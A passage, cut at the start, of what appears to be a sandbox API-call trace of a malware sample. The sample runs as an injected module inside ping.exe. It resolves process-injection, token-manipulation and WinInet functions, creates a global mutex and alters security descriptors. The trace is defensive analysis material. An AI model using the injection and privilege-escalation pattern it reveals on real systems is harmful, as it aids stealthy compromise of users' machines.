Priority=0xfffff80000000000) returned 0xfffff88003579000 [0097.192] IdePortDispatch () returned 0x103 [0097.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357a000 [0097.193] IdePortDispatch () returned 0x103 [0097.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0097.193] IdePortDispatch () returned 0x103 [0097.199] LoadLibraryExA (lpLibFileName="KERNEL32.DLL", hFile=0x0, dwFlags=0x0) returned 0x76300000 [0097.210] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0097.210] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0097.210] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0097.210] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0097.210] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0097.210] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x772d0000 [0097.210] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0097.210] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x77920000 [0097.210] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.212] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0097.212] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77e30000 [0097.212] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0097.212] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75d60000 [0097.212] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.214] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0097.214] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x76610000 [0097.215] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.215] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.218] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0097.218] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x76210000 [0097.218] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0097.218] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x75a80000 [0097.218] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0097.218] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x75ec0000 [0097.218] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.219] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.219] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.219] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.220] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.220] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.230] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0097.231] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76300000 [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="SetEndOfFile") returned 0x7632ce2e [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="SuspendThread") returned 0x76337d7e [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="OpenThread") returned 0x76321248 [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="SystemTimeToFileTime") returned 0x76315a7e [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="GetVersionExA") returned 0x76313519 [0097.231] GetProcAddress (hModule=0x76300000, lpProcName="GetLocaleInfoA") returned 0x7632d5e5 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="GetWindowsDirectoryA") returned 0x76332b0a [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="WinExec") returned 0x76392c21 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="GetCommandLineA") returned 0x763151a1 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="LocalFree") returned 0x76312d3c [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="SetWaitableTimer") returned 0x7633bb2f [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="CreateWaitableTimerA") returned 0x76394c24 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="CopyFileA") returned 0x763358e5 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="FileTimeToSystemTime") returned 0x7631542c [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="UnmapViewOfFile") returned 0x76311826 [0097.232] GetProcAddress (hModule=0x76300000, lpProcName="MapViewOfFile") returned 0x763118f1 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileMappingA") returned 0x76315506 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleA") returned 0x76311245 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="RemoveDirectoryA") returned 0x763944bf [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="DeleteFileA") returned 0x76315444 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="CreateDirectoryA") returned 0x7633d526 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetTempPathA") returned 0x7633276c [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTimeAsFileTime") returned 0x76313509 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadPriority") returned 0x763132bb [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="WideCharToMultiByte") returned 0x7631170d [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="MultiByteToWideChar") returned 0x7631192e [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetTickCount") returned 0x7631110c [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemInfo") returned 0x763149ca [0097.233] GetProcAddress (hModule=0x76300000, lpProcName="QueueUserWorkItem") returned 0x7632ca80 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="Sleep") returned 0x763110ff [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadContext") returned 0x76395393 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="GetThreadContext") returned 0x763379d4 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="WriteProcessMemory") returned 0x7632d9e0 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAllocEx") returned 0x7632d9b0 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="CreateProcessA") returned 0x76311072 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFreeEx") returned 0x7632d9c8 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="ExitProcess") returned 0x76317a10 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="FindClose") returned 0x76314442 [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="FindNextFileA") returned 0x7633d53e [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="FindFirstFileA") returned 0x7631e2ce [0097.234] GetProcAddress (hModule=0x76300000, lpProcName="SetFilePointer") returned 0x763117d1 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleFileNameA") returned 0x763114b1 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="FlushFileBuffers") returned 0x7631469b [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="WriteFile") returned 0x76311282 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="ReadFile") returned 0x76313ed3 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="GetFileSize") returned 0x7631196e [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileA") returned 0x763153c6 [0097.235] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileSectionA") returned 0x7638a0b5 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileIntA") returned 0x7633cdd7 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileStringA") returned 0x7632184c [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="WritePrivateProfileStringA") returned 0x76337048 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="HeapCreate") returned 0x76314a2d [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="HeapDestroy") returned 0x763135b7 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="HeapAlloc") returned 0x77e5e026 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="HeapReAlloc") returned 0x77e71f6e [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="HeapFree") returned 0x763114c9 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0097.325] GetProcAddress (hModule=0x76300000, lpProcName="CreateMutexA") returned 0x76314c6b [0097.327] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0097.327] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0097.327] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseMutex") returned 0x7631111e [0097.327] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x772d0000 [0097.327] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x772e1f59 [0097.327] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0097.327] GetProcAddress (hModule=0x772d0000, lpProcName="GetSecurityDescriptorSacl") returned 0x772e4608 [0097.327] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessAsUserA") returned 0x77312538 [0097.328] GetProcAddress (hModule=0x772d0000, lpProcName="AdjustTokenPrivileges") returned 0x772e418e [0097.328] GetProcAddress (hModule=0x772d0000, lpProcName="LookupPrivilegeValueA") returned 0x772e404a [0097.328] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcessToken") returned 0x772e4304 [0097.328] LoadLibraryA (lpLibFileName="imagehlp.dll") returned 0x77920000 [0097.328] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0097.328] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77e30000 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwQuerySystemInformation") returned 0x77e4fda0 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwSetInformationToken") returned 0x77e51a78 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwDuplicateToken") returned 0x77e4fec8 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwClose") returned 0x77e4f9d0 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77e4feb0 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="ZwOpenProcessToken") returned 0x77e510b0 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="qsort") returned 0x77f05191 [0097.328] GetProcAddress (hModule=0x77e30000, lpProcName="swprintf") returned 0x77f0550d [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsnicmp") returned 0x77e5f63b [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsicmp") returned 0x77e69337 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="strstr") returned 0x77eac780 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="sprintf") returned 0x77f053c3 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="strncat") returned 0x77eac570 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="strchr") returned 0x77e69c70 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="strrchr") returned 0x77eac700 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="ispunct") returned 0x77f043f3 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="isalnum") returned 0x77f04418 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="strncpy") returned 0x77ea5c30 [0097.329] GetProcAddress (hModule=0x77e30000, lpProcName="RtlComputeCrc32") returned 0x77eeffc1 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="_snprintf") returned 0x77f04760 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualUnicodeString") returned 0x77e5e7f3 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="_stricmp") returned 0x77e6c7b9 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="_snwprintf") returned 0x77e62417 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="sscanf") returned 0x77f054a7 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="ZwFreeVirtualMemory") returned 0x77e4fb48 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAllocateVirtualMemory") returned 0x77e4fab0 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageNtHeader") returned 0x77e63164 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77e5f546 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="ZwContinue") returned 0x77e4fee0 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInsertElementGenericTable") returned 0x77e7939a [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteElementGenericTable") returned 0x77e7a168 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLookupElementGenericTable") returned 0x77e7a104 [0097.330] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRandom") returned 0x77ef98c3 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="strpbrk") returned 0x77eac6c0 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="strncmp") returned 0x77e92f65 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="_strnicmp") returned 0x77e8c27c [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="_strlwr") returned 0x77f04a48 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77e7c4ca [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeGenericTable") returned 0x77e6ff97 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEnumerateGenericTable") returned 0x77ef2a56 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="memset") returned 0x77e5df20 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="memcpy") returned 0x77e52340 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="atoi") returned 0x77e7d2f3 [0097.331] GetProcAddress (hModule=0x77e30000, lpProcName="_allmul") returned 0x77e72760 [0097.331] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75d60000 [0097.331] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0097.331] GetProcAddress (hModule=0x75d60000, lpProcName="CoInitializeEx") returned 0x75da09ad [0097.332] GetProcAddress (hModule=0x75d60000, lpProcName="CoCreateInstance") returned 0x75da9d0b [0097.332] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76610000 [0097.332] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0097.332] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76210000 [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="PathMatchSpecA") returned 0x7624af13 [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveBackslashA") returned 0x76248d1a [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="PathFindExtensionA") returned 0x7623eced [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="SHGetValueA") returned 0x7621cf09 [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="SHEnumKeyExA") returned 0x7624fdb6 [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="SHSetValueA") returned 0x7624b0ef [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="PathFindFileNameA") returned 0x762200aa [0097.332] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIW") returned 0x762246e9 [0097.333] GetProcAddress (hModule=0x76210000, lpProcName="PathFileExistsA") returned 0x7624ad1a [0097.333] GetProcAddress (hModule=0x76210000, lpProcName="PathAppendA") returned 0x7621d65e [0097.333] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveFileSpecA") returned 0x7623e20b [0097.333] GetProcAddress (hModule=0x76210000, lpProcName="PathAddBackslashA") returned 0x7621cf33 [0097.333] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIA") returned 0x7621d250 [0097.333] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75a80000 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="DestroyWindow") returned 0x75a99a55 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="GetClientRect") returned 0x75aa0c62 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="ChildWindowFromPoint") returned 0x75ad8cf0 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="ClientToScreen") returned 0x75aa2606 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="ScreenToClient") returned 0x75aa227d [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="PostMessageW") returned 0x75aa12a5 [0097.333] GetProcAddress (hModule=0x75a80000, lpProcName="CreateWindowExW") returned 0x75a98a29 [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="GetMessageW") returned 0x75a978e2 [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="TranslateMessage") returned 0x75a97809 [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="DispatchMessageW") returned 0x75a9787b [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="KillTimer") returned 0x75a979db [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowLongW") returned 0x75a98332 [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowLongW") returned 0x75a96ffe [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="PostQuitMessage") returned 0x75a99abb [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="DefWindowProcW") returned 0x77e625dd [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="FindWindowW") returned 0x75a998fd [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="ExitWindowsEx") returned 0x75ae1497 [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="RegisterClassExW") returned 0x75a9b17d [0097.334] GetProcAddress (hModule=0x75a80000, lpProcName="GetSystemMetrics") returned 0x75a97d2f [0097.334] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75ec0000 [0097.334] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCloseHandle") returned 0x75edab49 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetConnectA") returned 0x75ee49e9 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpOpenRequestA") returned 0x75ee4c7d [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpSendRequestA") returned 0x75f518f8 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetQueryOptionW") returned 0x75ed7ed7 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetSetOptionW") returned 0x75ed7741 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpQueryInfoW") returned 0x75ee5c75 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetReadFile") returned 0x75edb406 [0097.335] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCrackUrlA") returned 0x75ecd075 [0097.335] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x10f28c | out: lpflOldProtect=0x10f28c*=0x40) returned 1 [0097.335] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x10f28c | out: lpflOldProtect=0x10f28c*=0x4) returned 1 [0097.337] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0097.337] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x250a0, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\ping.exe") returned 0x1c [0097.337] PathFindFileNameA (pszPath="C:\\Windows\\SysWOW64\\ping.exe") returned="ping.exe" [0097.337] GetCommandLineA () returned="C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t" [0097.337] _strcmpi (_Str1="ping.exe", _Str2="svchost.exe") returned -1 [0097.337] _strcmpi (_Str1="ping.exe", _Str2="ping.exe") returned 0 [0097.337] StrStrIA (lpFirst="C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t", lpSrch="127.0.0.1 -t") returned="127.0.0.1 -t" [0097.339] GetModuleHandleA (lpModuleName="kernel32") returned 0x76300000 [0097.339] GetProcAddress (hModule=0x76300000, lpProcName="IsWow64Process") returned 0x7631195e [0097.339] GetCurrentProcess () returned 0xffffffff [0097.339] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x28134 | out: Wow64Process=0x28134) returned 1 [0097.339] CreateMutexA (lpMutexAttributes=0x10f27c, bInitialOwner=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xa8 [0097.340] GetLastError () returned 0x0 [0097.340] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0097.486] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x29c128, lpbSaclPresent=0x10f244, pSacl=0x10f24c, lpbSaclDefaulted=0x10f248 | out: lpbSaclPresent=0x10f244, pSacl=0x10f24c, lpbSaclDefaulted=0x10f248) returned 1 [0097.486] SetSecurityInfo () returned 0x0 [0097.491] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.505] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.546] LocalFree (hMem=0x29c128) returned 0x0 [0097.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x185a6, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec [0097.546] CloseHandle (hObject=0xec) returned 1 [0097.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355e000 [0097.546] IdePortDispatch () returned 0x103 [0097.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f88c | out: lpSystemTimeAsFileTime=0x10f88c*(dwLowDateTime=0x5e30f7c0, dwHighDateTime=0x1d24fa4)) [0097.547] GetCurrentProcessId () returned 0x50c [0097.547] GetCurrentThreadId () returned 0x510 [0097.547] GetTickCount () returned 0x9ba2 [0097.547] QueryPerformanceCounter (in: lpPerformanceCount=0x10f884 | out: lpPerformanceCount=0x10f884*=12968803621726) returned 1 [0097.547] GetModuleHandleA (lpModuleName=0x0) returned 0x940000 [0097.547] __set_app_type (_Type=0x1) [0097.547] __p__fmode () returned 0x760631f4 [0097.548] __p__commode () returned 0x760631fc [0097.548] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x942ae1) returned 0x0 [0097.548] __getmainargs (in: _Argc=0x9450d4, _Argv=0x9450dc, _Env=0x9450d8, _DoWildCard=0, _StartInfo=0x9450e8 | out: _Argc=0x9450d4, _Argv=0x9450dc, _Env=0x9450d8) returned 0 [0097.548] SetThreadUILanguage (LangId=0x0) returned 0x409 [0097.548] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0097.548] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x945440 | out: lpWSAData=0x945440) returned 0 [0097.557] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x1, phkResult=0x10f31c | out: phkResult=0x10f31c*=0x128) returned 0x0 [0097.557] RegQueryValueExA (in: hKey=0x128, lpValueName="DefaultTTL", lpReserved=0x0, lpType=0x10f310, lpData=0x10f318, lpcbData=0x10f314*=0x4 | out: lpType=0x10f310*=0x0, lpData=0x10f318*=0x0, lpcbData=0x10f314*=0x4) returned 0x2 [0097.557] RegCloseKey (hKey=0x128) returned 0x0 [0097.557] getaddrinfo (in: pNodeName="127.0.0.1", pServiceName=0x0, pHints=0x10f2e4, ppResult=0x10f30c | out: ppResult=0x10f30c) returned 0 [0097.557] FreeAddrInfoW (pAddrInfo=0x2a1290) [0097.558] IcmpCreateFile () returned 0x29c160 [0099.091] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x2ae468 [0099.091] LocalAlloc (uFlags=0x0, uBytes=0x1ff8) returned 0x2b0308 [0099.091] getnameinfo (in: pSockaddr=0x9455e0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), SockaddrLength=0x10, pNodeBuffer=0x10f80c, NodeBufferSize=0x41, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="127.0.0.1", pServiceBuffer=0x0) returned 0 [0099.091] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.106] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x274b, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x14 